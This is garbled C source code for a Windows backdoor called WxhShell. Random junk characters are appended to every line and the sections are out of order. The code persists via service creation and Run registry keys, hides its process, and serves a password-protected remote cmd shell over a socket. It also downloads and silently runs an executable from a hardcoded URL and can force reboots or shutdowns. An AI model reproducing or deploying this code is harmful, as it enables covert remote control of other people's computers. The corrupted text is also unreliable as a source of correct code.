    if(Boot(SHUTDOWN)) p"o_0 {8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kcZz WG|n  
    else { ! f*t9 I9Q  
    closesocket(wsh); )X5en=[)O  
    ExitThread(0); EALgBv>#ZL  
    } (zhi/>suG  
    break; I 2*\J)|f  
    } P{o/ /M  
  // 获取shell fz`\-"f]  
  case 's': { k{.`=j  
    CmdShell(wsh); o;7_*=i  
    closesocket(wsh); }XIUz|  
    ExitThread(0); p^9u8T4l1  
    break; ^fT?(y_= e  
  } V"Y-|R  
  // 退出 =Vi>?fWpn=  
  case 'x': { <#No t1R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D7OPFN 7`  
    CloseIt(wsh); >e9xM Gv  
    break; Evb %<`gd  
    } :WnF>zN  
  // 离开 Nm,9xq  
  case 'q': { [Z{0|NR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fv?vfI+m  
    closesocket(wsh); GHR,KB7 xM  
    WSACleanup(); e$=0.GWT  
    exit(1); o~={M7 m  
    break; }@avG t;v  
        } 6 xAR:  
  } ;-@v1I;  
  } _!?iiO  
:/941?%M  
  // 提示信息 \1cJ?/$_Of  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gDBdaxR<  
} 'n0u6hCSb  
  } =RH7j  
Cz]NSG5  
  return; `w/`qG:dK  
} ^E`SR6_cmj  
{8Uk]   
// shell模块句柄 PcQqdU^!  
int CmdShell(SOCKET sock) t +@UC+aW  
{ 8^ezqd`  
STARTUPINFO si; Kitx%P`i  
ZeroMemory(&si,sizeof(si)); jj8h>"d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6N {|;R@2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +-+%6O<C  
PROCESS_INFORMATION ProcessInfo; UA]U_P$c  
char cmdline[]="cmd"; Aq:1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P<{N)H 2r  
  return 0; ^i!6q9<{e  
} )Me$BK>  
-OPJB:7Z  
// 自身启动模式 /R% Xkb  
int StartFromService(void) =w <;tb  
{ -kI;yL  
typedef struct "g>, X[g  
{ ,2?Sua/LD  
  DWORD ExitStatus; >^q7:x\  
  DWORD PebBaseAddress; >p|tIST  
  DWORD AffinityMask; p a)2TL/@  
  DWORD BasePriority; E+xC1U 3  
  ULONG UniqueProcessId; L5-Kw+t  
  ULONG InheritedFromUniqueProcessId; HE0@`(mCpa  
}   PROCESS_BASIC_INFORMATION; zUCtH*  
L?slIGp%-  
PROCNTQSIP NtQueryInformationProcess; ! >l)*jN8  
8) 1+j>OQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MX\v2["FoV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [~#]p9|L  
:kz"W ya.  
  HANDLE             hProcess; (h3f$  
  PROCESS_BASIC_INFORMATION pbi; fce~a\y0  
m^M sp:T,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =2rkaBFC  
  if(NULL == hInst ) return 0; Sdn4y(&TP  
./# F,^F2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -SGo E=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AYnk.H-v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \sZT[42  
?1kXV n$  
  if (!NtQueryInformationProcess) return 0; &W@#p G  
YLVZ]fN=>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >.X& v  
  if(!hProcess) return 0; 1U(P0$C  
f;7I{Z\<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7)U08"  
6b6rM%B.oD  
  CloseHandle(hProcess); ft" t  
,/uVq G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uKL4cr@  
if(hProcess==NULL) return 0; 44p?x8(z*  
#D2.RN  
HMODULE hMod; R$Or&:E ^  
char procName[255]; +8#hi5e  
unsigned long cbNeeded; &}q;,"  
aViZKps`m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FT$Z8  
_q7mYc  
  CloseHandle(hProcess); x $@Gp  
A<$w }Fy;  
if(strstr(procName,"services")) return 1; // 以服务启动 ~p* \|YC  
|Y")$pjz  
  return 0; // 注册表启动 X]T&kdQ6q  
} LZ 3PQL  
h:3^FV&#  
// 主模块 *@(j'0hj  
int StartWxhshell(LPSTR lpCmdLine) lc8zF5  
{ \]y /EOT  
  SOCKET wsl; u>y/<9]q8  
BOOL val=TRUE; dum(T  
  int port=0; S+* g  
  struct sockaddr_in door; %m5&Y01  
];63QJU  
  if(wscfg.ws_autoins) Install(); Mr6q7  
8`GN8 F  
port=atoi(lpCmdLine); YM<F7tp4  
!bGMVw6_  
if(port<=0) port=wscfg.ws_port; qvN`46c  
W#sCvI@   
  WSADATA data; =`W#R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +F@ZVMp  
hvo7T@*'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mDX UF~G[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f~ -qjEWm  
  door.sin_family = AF_INET; 2[QyH'"^E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \{K~x@`  
  door.sin_port = htons(port); 1h,m  
L[a A4`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W'3~vQF  
closesocket(wsl); c)B <d#  
return 1; "Iu Pg=|#  
} m(rd\3d  
&wea]./B  
  if(listen(wsl,2) == INVALID_SOCKET) { 'eDV-cB  
closesocket(wsl); \yKYBfp-p  
return 1; cOrFe;8-.  
} ywkyxt  
  Wxhshell(wsl); Zv^n  
  WSACleanup(); xI( t!aYp  
ee\xj$,  
return 0; t^5xq8w8  
*h4x`luJ  
} d6vls7J/4  
9~ r YLR(v  
// 以NT服务方式启动 W~Ae&gcn#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a=&{B'^G  
{ +5xk6RP   
DWORD   status = 0; r$<4_*  
  DWORD   specificError = 0xfffffff; w6<zPrA  
_4-UM2o;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0*F<tg,+]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RElIWqgY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .X;D I<K  
  serviceStatus.dwWin32ExitCode     = 0; c#<p44>U  
  serviceStatus.dwServiceSpecificExitCode = 0; 07#e{   
  serviceStatus.dwCheckPoint       = 0; ,]H2F']4Z  
  serviceStatus.dwWaitHint       = 0; <BX'Owbs!O  
G-Dc(QhU&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q1^kU0M}  
  if (hServiceStatusHandle==0) return; \Jm^XXgS  
[I2vg<my  
status = GetLastError(); T))F r:  
  if (status!=NO_ERROR) j:P(,M[  
{ d$#DXLA\P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (Q[(]dfc  
    serviceStatus.dwCheckPoint       = 0; %shCqS  
    serviceStatus.dwWaitHint       = 0; gH:+$FA  
    serviceStatus.dwWin32ExitCode     = status; ?AYb@&%  
    serviceStatus.dwServiceSpecificExitCode = specificError; qLa6c2o,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u )k Q*&  
    return; ?~=5 x  
  } A# Ne07d  
 Vl`!6.F3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~U+W4%f8  
  serviceStatus.dwCheckPoint       = 0; , ePl>m:Z  
  serviceStatus.dwWaitHint       = 0; @ @"abhT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nNpXkI:  
} ,?(U4pzX  
}II)<g'  
// 处理NT服务事件,比如:启动、停止 P\{ }yd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ykD-L^}  
{ ufvjW]   
switch(fdwControl) Y[. f`Ei2  
{ sj8lvIY5  
case SERVICE_CONTROL_STOP: a+,zXJQYq  
  serviceStatus.dwWin32ExitCode = 0; ]6@6g>f?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4GG0jCNk  
  serviceStatus.dwCheckPoint   = 0; e`bP=7`0  
  serviceStatus.dwWaitHint     = 0; K:54`UJ  
  { J!d=aGY0-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |u_fVQj  
  } L!0}&i;u~5  
  return; YYF.0G}  
case SERVICE_CONTROL_PAUSE: BDT"wy8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iH>IV0 <  
  break; ~ugH2jiB  
case SERVICE_CONTROL_CONTINUE: Rh%C$d(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C=8IQl[^e  
  break; (kL(:P/  
case SERVICE_CONTROL_INTERROGATE: u]sxX")  
  break; [7h/ 2La#  
}; bwe)_<c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IubzHf  
} 3*#$:waGd  
21 z@-&Oq  
// 标准应用程序主函数 .$a|&P=S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g5lK&-yu]  
{ F0ylJ /E  
 z uI7Px  
// 获取操作系统版本 : $N43_Wb  
OsIsNt=GetOsVer(); L b-xc]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iHeu<3O  
A@jBn6  
  // 从命令行安装 SXx4^X  
  if(strpbrk(lpCmdLine,"iI")) Install(); S2:G#%EAa  
4"#F =f0  
  // 下载执行文件 \d-9Ndp nf  
if(wscfg.ws_downexe) { Uj^Y\w-@Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V\=%u<f  
  WinExec(wscfg.ws_filenam,SW_HIDE); L~*nI d  
} &n]]OPo  
!im%t9  
if(!OsIsNt) { "r HPcp"m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?;GXFKy  
HideProc(); 8=u88?Bh  
StartWxhshell(lpCmdLine); CEJqo8ds  
} FTu<$`!1L  
else B$MHn?  
  if(StartFromService()) Kl]l[!c7$  
  // 以服务方式启动 n^` `)"  
  StartServiceCtrlDispatcher(DispatchTable); ~^>g<YR[  
else .F3~eas  
  // 普通方式启动 |8fdhqy_  
  StartWxhshell(lpCmdLine); _ygdv\^Tet  
[a7S?%>Bh  
return 0; 7pM&))R  
} x\pygzQ/  
|nY+Nen7  
7-mo\jw<  
f!G%$?]  
=========================================== wsgT`M'J[  
[6)vD@  
YGhHIziI  
Y#FSU# a$<  
P_(< ?0l  
S*%:ID|/C2  
" USH>`3  
jV' tcFr4  
#include <stdio.h> VM+l9 z>  
#include <string.h> ~zDFL15w  
#include <windows.h> Lbu,VX  
#include <winsock2.h> r@ba1*y0  
#include <winsvc.h> mV}eMw  
#include <urlmon.h> PMe3Or@  
zwK$ q=-:  
#pragma comment (lib, "Ws2_32.lib") )6 K)UA  
#pragma comment (lib, "urlmon.lib") rLcXo %w  
\3whM6tK  
#define MAX_USER   100 // 最大客户端连接数 A/.z. K  
#define BUF_SOCK   200 // sock buffer ~e=KBYDBu  
#define KEY_BUFF   255 // 输入 buffer Rk}=SB-  
}R`}Ey|{  
#define REBOOT     0   // 重启 ;V^I>-fnm  
#define SHUTDOWN   1   // 关机 P7!gUxcv9Y  
\oO &c  
#define DEF_PORT   5000 // 监听端口 [yVcH3GcjI  
 =h}PL22  
#define REG_LEN     16   // 注册表键长度 6+Y@dJnPT  
#define SVC_LEN     80   // NT服务名长度 ]CgZt' h{  
#Q%0y^s  
// 从dll定义API #J%Fi).^)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uU1q?|4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8\[qR_LV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \?AA:U*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N}q*(r!q<  
; .hTfxE0  
// wxhshell配置信息 @4jPaqa(  
struct WSCFG { #e6x_o|  
  int ws_port;         // 监听端口 L'a>D  
  char ws_passstr[REG_LEN]; // 口令 QM'>)!8  
  int ws_autoins;       // 安装标记, 1=yes 0=no /7C %m:  
  char ws_regname[REG_LEN]; // 注册表键名 !}HT&N8[r  
  char ws_svcname[REG_LEN]; // 服务名 h3;RVtS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _2WIi/6K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0WAOA6 _x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #K/#-S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rE\.[mFI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (rSBzM]H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PSa"u5O  
>{juw&Uu  
}; .,SWa;[iB  
.vXe}%  
// default Wxhshell configuration RTTEAh:.  
struct WSCFG wscfg={DEF_PORT, [ ]=}0l<J  
    "xuhuanlingzhe", ,YmTx  
    1, i%9xt1c_  
    "Wxhshell", 5VW*h  
    "Wxhshell", E)F"!56lV  
            "WxhShell Service", j(\jYH>   
    "Wrsky Windows CmdShell Service", )nUTux0K\  
    "Please Input Your Password: ", %:[Y/K-   
  1, )"<:Md$7  
  "http://www.wrsky.com/wxhshell.exe", 6-uB[$ko  
  "Wxhshell.exe" PWs=0.Wj  
    }; "_e /O&-cH  
lF!Iu.MM 9  
// 消息定义模块 o^~KAB7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XJi^gT N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <2 S?QgR,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u\|Ys  
char *msg_ws_ext="\n\rExit."; ,]-A~^|  
char *msg_ws_end="\n\rQuit."; CT#N9  
char *msg_ws_boot="\n\rReboot..."; Hf$LWPL)lM  
char *msg_ws_poff="\n\rShutdown..."; 9~WjCa*,&  
char *msg_ws_down="\n\rSave to "; GFtE0IQ  
Y/< ],1U  
char *msg_ws_err="\n\rErr!"; VcR(9~  
char *msg_ws_ok="\n\rOK!"; FBJ Lkg0  
Tof H =d  
char ExeFile[MAX_PATH]; h^"OC$  
int nUser = 0; o9uir"=  
HANDLE handles[MAX_USER]; }z8HS< #Q  
int OsIsNt; B":u5_B  
Kzgnh gc  
SERVICE_STATUS       serviceStatus; En/EQ\T@F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vt D:'L-  
t@\op}Z-M  
// 函数声明 _m|Tr*i8  
int Install(void); Acib<Mi2!-  
int Uninstall(void); 4I^8f||b_  
int DownloadFile(char *sURL, SOCKET wsh); seo.1.Da2  
int Boot(int flag); |cUBS)[)X  
void HideProc(void); eC41PQ3=1'  
int GetOsVer(void); " tUF,G(<  
int Wxhshell(SOCKET wsl); fbK`A?5K  
void TalkWithClient(void *cs); w>ap8><4  
int CmdShell(SOCKET sock); 2k$~Mv@L  
int StartFromService(void); :=K <2  
int StartWxhshell(LPSTR lpCmdLine); ,a /<t"  
oaJnLd90W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q k+(Ccl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1WW`%  
:F`yAB3  
// 数据结构和表定义 5?n@.hcL  
SERVICE_TABLE_ENTRY DispatchTable[] = x<%V&<z1g  
{  9> k-";  
{wscfg.ws_svcname, NTServiceMain}, MKN],l N  
{NULL, NULL} d2e4=/ A%  
}; hO@VYO   
EFb"{L  
// 自我安装 lP:ll])p2  
int Install(void) Hs~u&c  
{ ;,yjkD[mWE  
  char svExeFile[MAX_PATH]; %"0g}tK6  
  HKEY key; CAl]Kpc  
  strcpy(svExeFile,ExeFile);  e ):rr*  
rpu{YC1C%  
// 如果是win9x系统,修改注册表设为自启动 u`2[V4=L  
if(!OsIsNt) { 7pY7iR_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r g$2)z1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w_hGWpm  
  RegCloseKey(key); ;{k`nv_6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aA-gl9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (yx9ox@rL  
  RegCloseKey(key); i!JVGs  
  return 0; \)Bws `  
    } Mh+ym]6\(k  
  } 71# ipZ  
} _s_%}8o  
else { k7gm)}RKcu  
?Hd/!I&  
// 如果是NT以上系统,安装为系统服务 ?{O >&<~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?U`~,oI0  
if (schSCManager!=0) `IQ76Xl  
{ Iw<: k  
  SC_HANDLE schService = CreateService XOe8(cXa9  
  ( ~X`_ g/5X  
  schSCManager, TvzqJ=  
  wscfg.ws_svcname, tJQFhY  
  wscfg.ws_svcdisp, E?z~)0z2`  
  SERVICE_ALL_ACCESS, -$[o:dLO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q)ns ui(  
  SERVICE_AUTO_START, Yc,qXK-  
  SERVICE_ERROR_NORMAL, MyyNYZ  
  svExeFile, w)hH8jx{  
  NULL, !Cpy )D(  
  NULL, /*+P}__k  
  NULL, \NEXtr`Th  
  NULL, xSQ:#o=8G  
  NULL ]d}U68$T+  
  ); <&+\X6w[  
  if (schService!=0) V4PV@{G  
  { 7( &\)qf=n  
  CloseServiceHandle(schService); mP@< UjxI  
  CloseServiceHandle(schSCManager); .<<RI8A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l1&NU'WW  
  strcat(svExeFile,wscfg.ws_svcname); R3;,EL{H&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7ktSj}7W]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]}wo$7pO  
  RegCloseKey(key); %V+hm5Q  
  return 0; P,|%7'?Y  
    } Eu4-=2!4  
  } Lad8C  
  CloseServiceHandle(schSCManager); 1gA9h-'w  
} sUc_)  
} w&vZ$n-|  
s7A3CY]->  
return 1; oV)#s!  
} yBJf'-K  
']N1OVw^vf  
// 自我卸载 ^ucmScl  
int Uninstall(void) o_.f7|U!  
{ Z?Cl5o&l b  
  HKEY key; *Vbf ;=Mb  
m44"qp  
if(!OsIsNt) { jvI!BZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qHZ!~Kq,"'  
  RegDeleteValue(key,wscfg.ws_regname); N-0kB vo  
  RegCloseKey(key); Q"6:W2#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -W/Lg5eK  
  RegDeleteValue(key,wscfg.ws_regname); ^V1.Y  
  RegCloseKey(key); \gBsAZE  
  return 0; FN$sST  
  } ;;^OKrzWW  
} {Dc{e5K  
} +f}u.T_#  
else { :>:F6Db"U  
FO"sE`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V0rS^SAF  
if (schSCManager!=0) ^\ N@qL  
{ _~l*p"PL<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,2|(UTv  
  if (schService!=0) I"=a:q  
  { ^^9O9]  
  if(DeleteService(schService)!=0) { *%3%Zj,{  
  CloseServiceHandle(schService); '`)r<lYN,  
  CloseServiceHandle(schSCManager); Q7!";ol2  
  return 0; E*sQ|" g  
  } lYF~CNvE  
  CloseServiceHandle(schService); #FZoi:'Q  
  } \CY_nn|&g  
  CloseServiceHandle(schSCManager); q':P9 o*N?  
} r1jsw j%7  
} 8]`LRzM  
 dcd9AW=  
return 1; LX!MDZz  
}  )S8fFV  
@VzD> ?)  
// 从指定url下载文件 Knjg`f  
int DownloadFile(char *sURL, SOCKET wsh) Vx~N`|yY  
{ yUyx&Y/  
  HRESULT hr; |z+K]R8_  
char seps[]= "/"; URo#0fV4C  
char *token; F?!X<N{  
char *file; !W4X4@  
char myURL[MAX_PATH]; 6^+T_{gl  
char myFILE[MAX_PATH]; ta*6xpz-\Q  
z'!sc"]W6  
strcpy(myURL,sURL); >.76<fni  
  token=strtok(myURL,seps); mdB~~j  
  while(token!=NULL) C-TATH%f^  
  { dfa^5`_  
    file=token; hmG^l4B.T  
  token=strtok(NULL,seps); 0sR+@\  
  } ImG7E w  
:&'[#%h8  
GetCurrentDirectory(MAX_PATH,myFILE); Q+ogVvMq>  
strcat(myFILE, "\\"); c+bOp 05o-  
strcat(myFILE, file); %u@}lG k  
  send(wsh,myFILE,strlen(myFILE),0); K]Rb~+a<  
send(wsh,"...",3,0); fJdTVs@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YM`I&!n  
  if(hr==S_OK) }Y=X{3+~.  
return 0; qJyGr ?  
else +*')0I  
return 1; 1oSU>I_i  
m+LP5S  
} d,:3;:CR  
t91z<Y|  
// 系统电源模块 \:pd+8  
int Boot(int flag) Vgg' 5o&.  
{ 9N*!C{VW  
  HANDLE hToken; [Q:C\f]  
  TOKEN_PRIVILEGES tkp; }%lk$g';  
8IQqDEY^  
  if(OsIsNt) { *_,: &Ur  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 62Q`&n6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )"sJaHx<  
    tkp.PrivilegeCount = 1; 1m\ihU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &f_ua)cyY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yM`QVO!;  
if(flag==REBOOT) { hha!uD~(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U3rpmml  
  return 0; "( NJ{J#A  
} \*i[m&3;q  
else { hI}rW^o^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ll#_v^  
  return 0; KpF/g[m  
} Cu-z`.#}R  
  } ;]I~AGH:  
  else { r(i!".Z  
if(flag==REBOOT) { kgGMA 7Jy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y-R:-K XH=  
  return 0; y|h:{<  
} 9|5>?'CqP  
else { I5H#]U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 34s>hm=0.  
  return 0; 9{Xh wi)z  
} &:}}T=@M1  
} Y. 1dk  
=c Krp'  
return 1; E As1 =  
} whb,2=gIE  
"Wz74ble  
// win9x进程隐藏模块 6,j&u7  
void HideProc(void) MgG_D6tDM  
{ jB-wJNP/  
Y1s3 >`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P%_PG%O2p  
  if ( hKernel != NULL ) OJTEvb6nPg  
  { IKVS7m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }v$T1Cw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !dZpV~g0  
    FreeLibrary(hKernel); |\] _u 3  
  } 5l,Q=V^@l  
6"PwOEt  
return; 4M3{P  
} QoTjKck.  
1EcXvT=  
// 获取操作系统版本 bc ;(2D  
int GetOsVer(void) [X=J]e^D  
{ [bZASeh  
  OSVERSIONINFO winfo; rn"}@5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $bo 5:c  
  GetVersionEx(&winfo); S)~Riuy$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XJ9l, :c,  
  return 1; WlfS|/\%V^  
  else v.pj PBU1  
  return 0; w 7Y>B`wm?  
} xK;WJm"  
Ii4lwZnz  
// 客户端句柄模块 50J"cGs~  
int Wxhshell(SOCKET wsl) tW7*(D  
{ ?Rg8u  
  SOCKET wsh; MF%>avRj  
  struct sockaddr_in client; ^"hsbk&Yu  
  DWORD myID; -f!oq7U  
j@b18wZ  
  while(nUser<MAX_USER) kTe0"  
{ FMBzTD  
  int nSize=sizeof(client); \/ 8 V|E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i][af  
  if(wsh==INVALID_SOCKET) return 1; _m8JU  
=|G l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c7$U0JO  
if(handles[nUser]==0) U3zwC5}BN  
  closesocket(wsh); $xU5vCwAo  
else I%q&4L7pj  
  nUser++; %`Q<_LTU  
  } 'G-zJcU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Qd4Y=  
B U^3Ux$  
  return 0; h r!Htew4  
} QX$i ]y%S  
&v#*  
// 关闭 socket zXHCP.Rmg  
void CloseIt(SOCKET wsh) 38hAg uZX  
{ (8*& 42W  
closesocket(wsh); <Hq|<^_K  
nUser--; utz!ElzA  
ExitThread(0); c%+9uu3  
} Kpo{:a  
Jm+hDZrW  
// 客户端请求句柄 }FTyRHD|  
void TalkWithClient(void *cs) TCd1JF0  
{ e Ert_@}  
W&U Nk,  
  SOCKET wsh=(SOCKET)cs; aiKZ$KLC  
  char pwd[SVC_LEN]; [Yzh(a8  
  char cmd[KEY_BUFF]; m-Uq6_e  
char chr[1]; yBPaGZ{f  
int i,j; YAIDSZ&l[  
bw8~p%l?  
  while (nUser < MAX_USER) { _:,:U[@Vz  
}lk_Oe1  
if(wscfg.ws_passstr) { mGXjSWsd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L{)e1p]q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tBp146`  
  //ZeroMemory(pwd,KEY_BUFF); 8- ?.Q"D7%  
      i=0; Ew=8"V`C  
  while(i<SVC_LEN) { =-`}(b2N  
Wh:SZa|  
  // 设置超时 (o1*7_]e  
  fd_set FdRead; -|MeC  
  struct timeval TimeOut; _91g=pM   
  FD_ZERO(&FdRead); LsnM5GU7  
  FD_SET(wsh,&FdRead); Bf;dp`(/   
  TimeOut.tv_sec=8; !79^M  
  TimeOut.tv_usec=0; u6A ReL 'f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;~$_A4;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y#:_K(A" k  
 iK$)Iy0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a a=GW%  
  pwd=chr[0]; h&+dIk\[3  
  if(chr[0]==0xd || chr[0]==0xa) { zo-hH8J:  
  pwd=0; C:/O]slH  
  break; {$,e@nn  
  } ,F7W_f# @3  
  i++; ')w:`8Tl  
    } XO+^q9  
(c ?OcwTH  
  // 如果是非法用户,关闭 socket %nQii? 1`i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $DZ\61  
} ~F^(O{EG  
>(s)S[\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nc#}-}`5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \WG6\Zg0A  
37DyDzW)'  
while(1) { { as#lHn  
tCAh?nR  
  ZeroMemory(cmd,KEY_BUFF); @U CGsw  
C fKvC  
      // 自动支持客户端 telnet标准   :?%$={m  
  j=0; :c@v_J6C&  
  while(j<KEY_BUFF) { n`Pwo &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =X[]0.I%  
  cmd[j]=chr[0]; !%{/eQFT4  
  if(chr[0]==0xa || chr[0]==0xd) { -&JUg o=  
  cmd[j]=0; DT`TA#O  
  break; >J+'hm@  
  } W 86`R  
  j++; 1*\JqCR  
    } K' xN>qc  
kLa9'c0  
  // 下载文件 O4w6\y3U  
  if(strstr(cmd,"http://")) { Gf'qPLK0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qRkY-0vBP  
  if(DownloadFile(cmd,wsh)) I8;xuutc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|!5G&O,  
  else od=%8z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oc+TsVt  
  } .{[+d3+,  
  else { u~WBu|  
'B dZN  
